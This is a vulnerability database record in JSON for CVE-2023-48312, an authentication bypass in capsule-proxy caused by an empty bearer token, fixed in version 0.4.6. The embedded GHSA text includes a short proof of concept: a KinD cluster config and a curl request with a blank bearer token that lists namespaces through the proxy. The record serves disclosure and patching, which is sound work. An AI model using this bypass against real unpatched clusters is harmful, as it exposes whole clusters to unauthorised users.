{"id":"CVE-2023-48312","aliases":["EUVD-2023-2961","GHSA-fpvw-6m5v-hqfp","GO-2023-2351"],"status":"published","title":"Authentication bypass using an empty token in capsule-proxy","description":"capsule-proxy is a reverse proxy for the capsule operator project. Affected versions are subject to a privilege escalation vulnerability which is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS). This vulnerability has been addressed in version 0.4.6. Users are advised to upgrade.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00574,"percentile":0.47653,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-287"],"published":"2023-11-24T16:53:25Z","modified":"2026-10-28T02:30:49Z","fixes":[{"ecosystem":"Go","package":"github.com/projectcapsule/capsule-proxy","fixed_in":["0.4.6"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"github.com/clastix/capsule-proxy","fixed_in":["0.4.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/projectcapsule/capsule-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.4.5"},{"fixed":"0.4.6"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/clastix/capsule-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.4.5"},{"fixed":"0.4.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/projectcapsule/capsule-proxy","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/clastix/capsule-proxy","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/projectcapsule/capsule-proxy","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.6"}]}]}],"products":[{"vendor":"clastix","product":"capsule-proxy"},{"vendor":"projectcapsule","product":"capsule-proxy"}],"references":[{"url":"https://github.com/projectcapsule/capsule-proxy/security/advisories/GHSA-fpvw-6m5v-hqfp","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/projectcapsule/capsule-proxy/commit/472404f7006a4152e4eec76dee07324dd1e6e823","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-48312","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fpvw-6m5v-hqfp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/48xxx/CVE-2023-48312.json","tags":["advisory"]},{"url":"https://github.com/projectcapsule/capsule-proxy","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-48312","title":"Authentication bypass using an empty token in capsule-proxy","description":"capsule-proxy is a reverse proxy for the capsule operator project. Affected versions are subject to a privilege escalation vulnerability which is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS). This vulnerability has been addressed in version 0.4.6. Users are advised to upgrade.","status":"published","published":"2023-11-24T17:12:39.652Z","modified":"2024-08-02T21:23:39.496Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:35:25.866071Z"}],"euvd":[{"id":"EUVD-2023-2961","description":"capsule-proxy is a reverse proxy for the capsule operator project. Affected versions are subject to a privilege escalation vulnerability which is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS). This vulnerability has been addressed in version 0.4.6. Users are advised to upgrade.","status":"published","published":"2023-11-24T17:12:39Z","modified":"2024-08-02T21:23:39Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T03:49:57.383318Z"}],"ghsa":[{"id":"GHSA-fpvw-6m5v-hqfp","title":"Capsule Proxy Authentication bypass using an empty token","description":"The privilege escalation is based on a missing check if the user is authenticated based on the `TokenReview` result.\n\nAll the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.\n\n# PoC\n\nStart a KinD cluster with the `anonymous-auth` value to `false`. \nIf it is true, it uses anonymous permissions which are very limited by default\n\n```yaml\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n  kubeadmConfigPatches:\n  - |\n    kind: ClusterConfiguration\n    apiServer:\n        extraArgs:\n          anonymous-auth: \"false\"\n```\n\nInstall `capsule` and `capsule-proxy`\n\n```\nk port-forward svc/capsule-proxy 9001    \nForwarding from 127.0.0.1:9001 -\u003e 9001\nForwarding from [::1]:9001 -\u003e 9001\nHandling connection for 9001\n```\n\nThen query the proxy\n```\ncurl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'\n```\n\n# Impact\n\nThe whole cluster is exposed to unauthorised users.\n\nThis privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).","status":"published","published":"2023-11-24T16:53:25Z","modified":"2023-11-27T22:07:37Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:37:22.840002Z"}],"nvd":[{"id":"CVE-2023-48312","description":"capsule-proxy is a reverse proxy for the capsule operator project. Affected versions are subject to a privilege escalation vulnerability which is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS). This vulnerability has been addressed in version 0.4.6. Users are advised to upgrade.","status":"published","published":"2023-11-24T18:15:07.127Z","modified":"2026-06-17T06:33:59.143Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:08:49.393375Z"}],"osv":[{"id":"CVE-2023-48312","title":"Authentication bypass using an empty token in capsule-proxy","description":"capsule-proxy is a reverse proxy for the capsule operator project. Affected versions are subject to a privilege escalation vulnerability which is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS). This vulnerability has been addressed in version 0.4.6. Users are advised to upgrade.","status":"published","published":"2023-11-24T17:12:39.652Z","modified":"2026-10-28T02:30:49.051171418Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T15:44:34.72355Z"},{"id":"GHSA-fpvw-6m5v-hqfp","title":"Capsule Proxy Authentication bypass using an empty token","description":"The privilege escalation is based on a missing check if the user is authenticated based on the `TokenReview` result.\n\nAll the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.\n\n# PoC\n\nStart a KinD cluster with the `anonymous-auth` value to `false`. \nIf it is true, it uses anonymous permissions which are very limited by default\n\n```yaml\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n  kubeadmConfigPatches:\n  - |\n    kind: ClusterConfiguration\n    apiServer:\n        extraArgs:\n          anonymous-auth: \"false\"\n```\n\nInstall `capsule` and `capsule-proxy`\n\n```\nk port-forward svc/capsule-proxy 9001    \nForwarding from 127.0.0.1:9001 -\u003e 9001\nForwarding from [::1]:9001 -\u003e 9001\nHandling connection for 9001\n```\n\nThen query the proxy\n```\ncurl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'\n```\n\n# Impact\n\nThe whole cluster is exposed to unauthorised users.\n\nThis privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).","status":"published","published":"2023-11-24T16:53:25Z","modified":"2024-08-21T14:56:40.597662Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T15:46:46.760785Z"},{"id":"GO-2023-2351","title":"Capsule Proxy Authentication bypass using an empty token in github.com/projectcapsule/capsule-proxy","description":"Capsule Proxy Authentication bypass using an empty token in github.com/projectcapsule/capsule-proxy","status":"published","published":"2024-08-21T14:30:24Z","modified":"2026-03-03T04:54:21.052786Z","updated_at":"2026-11-02T15:47:01.185262Z"}]}}